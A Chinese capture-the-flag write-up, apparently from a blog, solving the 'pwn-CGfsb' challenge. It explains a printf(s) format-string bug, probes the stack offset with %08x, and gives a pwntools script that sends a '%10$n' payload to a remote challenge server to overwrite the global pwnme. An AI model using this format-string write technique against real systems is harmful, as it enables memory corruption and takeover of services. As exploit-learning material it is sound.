刚步入pwn,今天来讲一下攻防世界的pwn-CGfsb这道题。
下载附件,在kali里面查该附件是多少位程序以及有没有壳。判断该文件是32位程序且无壳

运行该文件我们发现它让我们输入名字和信息,然后再打印出来,然后退出结束。

用ida打开这个文件,F5反编译查看主函数伪代码。
我们可以看出这个字符buf和s,是作为名字和信息的;如果pwnme==8,则输出flag值。

这个printf输出s时,没有使用正确的格式化参数,比如printf(str)而不是printf("%s", str),这样就可能具有格式化漏洞。来看代码,主函数里有一个printf(s)的调用,这里的s是一个字符数组,之前用fgets(s, 100, stdin)读取我们的输入。这里的问题是,如果我们输入的s包含格式化字符串,比如%x或者%n,那么当调用printf(s)的时候,这些格式化占位符会被解析,可能导致信息泄露或内存覆盖,所以这里可能就是存在漏洞的地方。
双击跟进 pwnme 可以发现这是 bss 段上的全局变量:

我们的目的也很明确了,通过格式化字符串漏洞修改pwnme的值使其等于8。
确定栈中可控参数的偏移量
输入(输入多个 %08x是为了覆盖足够多的栈位置,确保探测到用户输入的 AAAA。)
AAAA%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x-%08x
输出
AAAAff8be77e-f7f3b5c0-ff8be7dc-00000000-f7f72770-0804826c-687ae7dc-73676e61-000a6e61-41414141-78383025-3830252d-30252d78
41414141(即 AAAA)出现在输出的第 10 个位置(从 0 开始计数为第 9 个)。
用户输入的格式化字符串参数在栈上的偏移量为 10。

确定目标全局变量pwnme 的地址 target_address 了,IDA 中给出了地址 0x0804A068,因为没有 PIE 保护,所以 IDA 所展示的地址即是程序运行时所用的地址。
综上,payload可以构造出来了
from pwn import *
p = remote('223.112.5.141', 59484)
addr_pwnme = 0x0804A068
p.recvuntil("please tell me your name:\n")
p.sendline('J1ay')
payload = p32(addr_pwnme) + b'a'*0x4 + b'%10$n'
p.recvuntil("leave your message please:\n")
p.sendline(payload)
p.interactive()

2002

被折叠的 条评论
为什么被折叠?



